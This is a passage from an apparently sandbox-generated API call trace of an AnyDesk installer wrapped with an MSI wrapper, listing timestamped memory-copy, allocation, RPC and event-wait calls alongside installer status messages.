_Dst=0x335930) returned 0x335930 [0122.584] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.584] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1e | out: _Dst=0x335934) returned 0x335934 [0122.584] CoTaskMemAlloc (cb=0x22) returned 0x3cbb60 [0122.585] memcpy (in: _Dst=0x3cbb60, _Src=0x335930, _Size=0x22 | out: _Dst=0x3cbb60) returned 0x3cbb60 [0122.585] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.586] CoTaskMemFree (pv=0x3cbb60) [0122.586] SetEvent (hEvent=0x174) returned 1 [0122.586] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.587] lstrlenW (lpString="Please wait while Windows configures Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 107 [0122.587] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.587] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.587] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x6b | out: _Dst=0x335934) returned 0x335934 [0122.587] CoTaskMemAlloc (cb=0x6f) returned 0x34b030 [0122.588] memcpy (in: _Dst=0x34b030, _Src=0x335930, _Size=0x6f | out: _Dst=0x34b030) returned 0x34b030 [0122.588] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.589] CoTaskMemFree (pv=0x34b030) [0122.589] SetEvent (hEvent=0x174) returned 1 [0122.589] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.590] lstrlenW (lpString="Gathering required information...") returned 33 [0122.590] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0122.590] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0122.590] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x21 | out: _Dst=0x335934) returned 0x335934 [0122.590] CoTaskMemAlloc (cb=0x25) returned 0x3cbb60 [0122.590] memcpy (in: _Dst=0x3cbb60, _Src=0x335930, _Size=0x25 | out: _Dst=0x3cbb60) returned 0x3cbb60 [0122.591] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0122.592] CoTaskMemFree (pv=0x3cbb60) [0122.592] SetEvent (hEvent=0x174) returned 1 [0122.592] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.593] SetEvent (hEvent=0x174) returned 1 [0122.593] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0122.594] SetEvent (hEvent=0x174) returned 1 [0122.594] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0123.033] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0123.397] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0123.596] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0123.726] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0123.726] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0123.726] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x27 | out: _Dst=0x335934) returned 0x335934 [0123.726] memcpy (in: _Dst=0x33595b, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595b) returned 0x33595b [0123.726] memcpy (in: _Dst=0x33595d, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33595d) returned 0x33595d [0123.726] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0123.726] memcpy (in: _Dst=0x335963, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335963) returned 0x335963 [0123.726] memcpy (in: _Dst=0x335967, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335967) returned 0x335967 [0123.726] memcpy (in: _Dst=0x335969, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335969) returned 0x335969 [0123.726] CoTaskMemAlloc (cb=0x3d) returned 0x360290 [0123.727] memcpy (in: _Dst=0x360290, _Src=0x335930, _Size=0x3d | out: _Dst=0x360290) returned 0x360290 [0123.727] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0123.735] CoTaskMemFree (pv=0x360290) [0123.735] SetEvent (hEvent=0x174) returned 1 [0123.735] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0123.736] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0123.736] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0123.736] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x27 | out: _Dst=0x335934) returned 0x335934 [0123.736] memcpy (in: _Dst=0x33595b, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595b) returned 0x33595b [0123.736] memcpy (in: _Dst=0x33595d, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33595d) returned 0x33595d [0123.736] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0123.737] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x46 | out: _Dst=0x335963) returned 0x335963 [0123.737] CoTaskMemAlloc (cb=0x79) returned 0x32eca0 [0123.737] memcpy (in: _Dst=0x32eca0, _Src=0x335930, _Size=0x79 | out: _Dst=0x32eca0) returned 0x32eca0 [0123.738] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0123.754] CoTaskMemFree (pv=0x32eca0) [0123.754] SetEvent (hEvent=0x174) returned 1 [0123.754] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0123.811] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0123.812] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0123.812] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0123.812] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0123.812] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x7 | out: _Dst=0x33594f) returned 0x33594f [0123.812] memcpy (in: _Dst=0x335956, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335956) returned 0x335956 [0123.812] memcpy (in: _Dst=0x335958, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335958) returned 0x335958 [0123.812] CoTaskMemAlloc (cb=0x2a) returned 0x3c34f0 [0123.812] memcpy (in: _Dst=0x3c34f0, _Src=0x335930, _Size=0x2a | out: _Dst=0x3c34f0) returned 0x3c34f0 [0123.813] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0123.967] CoTaskMemFree (pv=0x3c34f0) [0123.967] SetEvent (hEvent=0x174) returned 1 [0123.967] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0123.970] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0123.970] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0123.970] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0123.970] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0123.970] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x7 | out: _Dst=0x335951) returned 0x335951 [0123.970] CoTaskMemAlloc (cb=0x28) returned 0x3c2030 [0123.970] memcpy (in: _Dst=0x3c2030, _Src=0x335930, _Size=0x28 | out: _Dst=0x3c2030) returned 0x3c2030 [0123.971] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.042] CoTaskMemFree (pv=0x3c2030) [0124.042] SetEvent (hEvent=0x174) returned 1 [0124.042] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.045] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.045] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.045] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0124.045] memcpy (in: _Dst=0x335936, _Src=0xdcdc00, _Size=0x46 | out: _Dst=0x335936) returned 0x335936 [0124.045] memcpy (in: _Dst=0x33597c, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33597c) returned 0x33597c [0124.045] memcpy (in: _Dst=0x33597e, _Src=0xdcdc00, _Size=0x26 | out: _Dst=0x33597e) returned 0x33597e [0124.045] CoTaskMemAlloc (cb=0x74) returned 0x34b030 [0124.045] memcpy (in: _Dst=0x34b030, _Src=0x335930, _Size=0x74 | out: _Dst=0x34b030) returned 0x34b030 [0124.046] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.047] CoTaskMemFree (pv=0x34b030) [0124.047] SetEvent (hEvent=0x174) returned 1 [0124.047] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.151] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.151] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.151] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.151] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.151] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x13 | out: _Dst=0x33594f) returned 0x33594f [0124.151] memcpy (in: _Dst=0x335962, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335962) returned 0x335962 [0124.151] memcpy (in: _Dst=0x335964, _Src=0xdcdc00, _Size=0x22 | out: _Dst=0x335964) returned 0x335964 [0124.151] memcpy (in: _Dst=0x335986, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335986) returned 0x335986 [0124.151] memcpy (in: _Dst=0x335988, _Src=0xdcdc00, _Size=0x16 | out: _Dst=0x335988) returned 0x335988 [0124.151] CoTaskMemAlloc (cb=0x6e) returned 0x34afb0 [0124.151] memcpy (in: _Dst=0x34afb0, _Src=0x335930, _Size=0x6e | out: _Dst=0x34afb0) returned 0x34afb0 [0124.153] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.202] CoTaskMemFree (pv=0x34afb0) [0124.202] SetEvent (hEvent=0x174) returned 1 [0124.202] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.203] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.203] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.203] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.203] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.203] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x13 | out: _Dst=0x335951) returned 0x335951 [0124.203] CoTaskMemAlloc (cb=0x34) returned 0x3c34f0 [0124.203] memcpy (in: _Dst=0x3c34f0, _Src=0x335930, _Size=0x34 | out: _Dst=0x3c34f0) returned 0x3c34f0 [0124.204] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.205] CoTaskMemFree (pv=0x3c34f0) [0124.205] SetEvent (hEvent=0x174) returned 1 [0124.205] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.207] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.207] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.207] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.208] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.208] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x13 | out: _Dst=0x335963) returned 0x335963 [0124.208] memcpy (in: _Dst=0x335976, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335976) returned 0x335976 [0124.208] memcpy (in: _Dst=0x335978, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335978) returned 0x335978 [0124.208] CoTaskMemAlloc (cb=0x4c) returned 0x380010 [0124.208] memcpy (in: _Dst=0x380010, _Src=0x335930, _Size=0x4c | out: _Dst=0x380010) returned 0x380010 [0124.209] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.209] CoTaskMemFree (pv=0x380010) [0124.209] SetEvent (hEvent=0x174) returned 1 [0124.210] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.220] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.220] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.220] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.220] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.220] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x10 | out: _Dst=0x33594f) returned 0x33594f [0124.220] memcpy (in: _Dst=0x33595f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595f) returned 0x33595f [0124.220] memcpy (in: _Dst=0x335961, _Src=0xdcdc00, _Size=0x1c | out: _Dst=0x335961) returned 0x335961 [0124.220] memcpy (in: _Dst=0x33597d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33597d) returned 0x33597d [0124.220] CoTaskMemAlloc (cb=0x4f) returned 0x380250 [0124.220] memcpy (in: _Dst=0x380250, _Src=0x335930, _Size=0x4f | out: _Dst=0x380250) returned 0x380250 [0124.221] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.222] CoTaskMemFree (pv=0x380250) [0124.222] SetEvent (hEvent=0x174) returned 1 [0124.222] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.223] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.223] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.223] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.223] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.223] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x10 | out: _Dst=0x335951) returned 0x335951 [0124.223] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.223] memcpy (in: _Dst=0x335963, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335963) returned 0x335963 [0124.223] CoTaskMemAlloc (cb=0x37) returned 0x3c3530 [0124.223] memcpy (in: _Dst=0x3c3530, _Src=0x335930, _Size=0x37 | out: _Dst=0x3c3530) returned 0x3c3530 [0124.224] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.225] CoTaskMemFree (pv=0x3c3530) [0124.225] SetEvent (hEvent=0x174) returned 1 [0124.225] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.229] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.229] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.229] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.229] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.229] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x10 | out: _Dst=0x335963) returned 0x335963 [0124.229] memcpy (in: _Dst=0x335973, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335973) returned 0x335973 [0124.229] memcpy (in: _Dst=0x335975, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335975) returned 0x335975 [0124.229] CoTaskMemAlloc (cb=0x49) returned 0x380250 [0124.229] memcpy (in: _Dst=0x380250, _Src=0x335930, _Size=0x49 | out: _Dst=0x380250) returned 0x380250 [0124.231] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.232] CoTaskMemFree (pv=0x380250) [0124.232] SetEvent (hEvent=0x174) returned 1 [0124.232] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.236] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.236] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.236] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.236] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.236] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x33594f) returned 0x33594f [0124.236] memcpy (in: _Dst=0x335960, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335960) returned 0x335960 [0124.236] memcpy (in: _Dst=0x335962, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335962) returned 0x335962 [0124.236] CoTaskMemAlloc (cb=0x34) returned 0x3c34b0 [0124.236] memcpy (in: _Dst=0x3c34b0, _Src=0x335930, _Size=0x34 | out: _Dst=0x3c34b0) returned 0x3c34b0 [0124.237] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.237] CoTaskMemFree (pv=0x3c34b0) [0124.237] SetEvent (hEvent=0x174) returned 1 [0124.237] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.238] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.238] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.239] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.239] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.239] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x335951) returned 0x335951 [0124.239] memcpy (in: _Dst=0x335962, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335962) returned 0x335962 [0124.239] memcpy (in: _Dst=0x335964, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335964) returned 0x335964 [0124.239] CoTaskMemAlloc (cb=0x38) returned 0x3c34b0 [0124.239] memcpy (in: _Dst=0x3c34b0, _Src=0x335930, _Size=0x38 | out: _Dst=0x3c34b0) returned 0x3c34b0 [0124.239] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.240] CoTaskMemFree (pv=0x3c34b0) [0124.240] SetEvent (hEvent=0x174) returned 1 [0124.240] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.243] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.243] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.243] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.243] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.243] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x335963) returned 0x335963 [0124.243] memcpy (in: _Dst=0x335974, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335974) returned 0x335974 [0124.243] memcpy (in: _Dst=0x335976, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335976) returned 0x335976 [0124.243] CoTaskMemAlloc (cb=0x4a) returned 0x380010 [0124.243] memcpy (in: _Dst=0x380010, _Src=0x335930, _Size=0x4a | out: _Dst=0x380010) returned 0x380010 [0124.244] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.244] CoTaskMemFree (pv=0x380010) [0124.244] SetEvent (hEvent=0x174) returned 1 [0124.244] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.251] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.251] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.251] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.252] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.252] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0xe | out: _Dst=0x33594f) returned 0x33594f [0124.252] memcpy (in: _Dst=0x33595d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595d) returned 0x33595d [0124.252] memcpy (in: _Dst=0x33595f, _Src=0xdcdc00, _Size=0x1c | out: _Dst=0x33595f) returned 0x33595f [0124.252] memcpy (in: _Dst=0x33597b, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33597b) returned 0x33597b [0124.252] CoTaskMemAlloc (cb=0x4d) returned 0x380250 [0124.252] memcpy (in: _Dst=0x380250, _Src=0x335930, _Size=0x4d | out: _Dst=0x380250) returned 0x380250 [0124.252] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.253] CoTaskMemFree (pv=0x380250) [0124.253] SetEvent (hEvent=0x174) returned 1 [0124.253] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.254] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.254] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.254] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.254] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.254] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0xe | out: _Dst=0x335951) returned 0x335951 [0124.254] memcpy (in: _Dst=0x33595f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595f) returned 0x33595f [0124.254] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335961) returned 0x335961 [0124.254] CoTaskMemAlloc (cb=0x35) returned 0x3c3470 [0124.254] memcpy (in: _Dst=0x3c3470, _Src=0x335930, _Size=0x35 | out: _Dst=0x3c3470) returned 0x3c3470 [0124.255] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.256] CoTaskMemFree (pv=0x3c3470) [0124.256] SetEvent (hEvent=0x174) returned 1 [0124.256] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.436] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.436] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.436] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0124.436] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0124.436] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0124.436] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0124.436] CoTaskMemAlloc (cb=0x10) returned 0x3bbc30 [0124.436] memcpy (in: _Dst=0x3bbc30, _Src=0x335930, _Size=0x10 | out: _Dst=0x3bbc30) returned 0x3bbc30 [0124.437] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.497] CoTaskMemFree (pv=0x3bbc30) [0124.497] SetEvent (hEvent=0x174) returned 1 [0124.497] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, 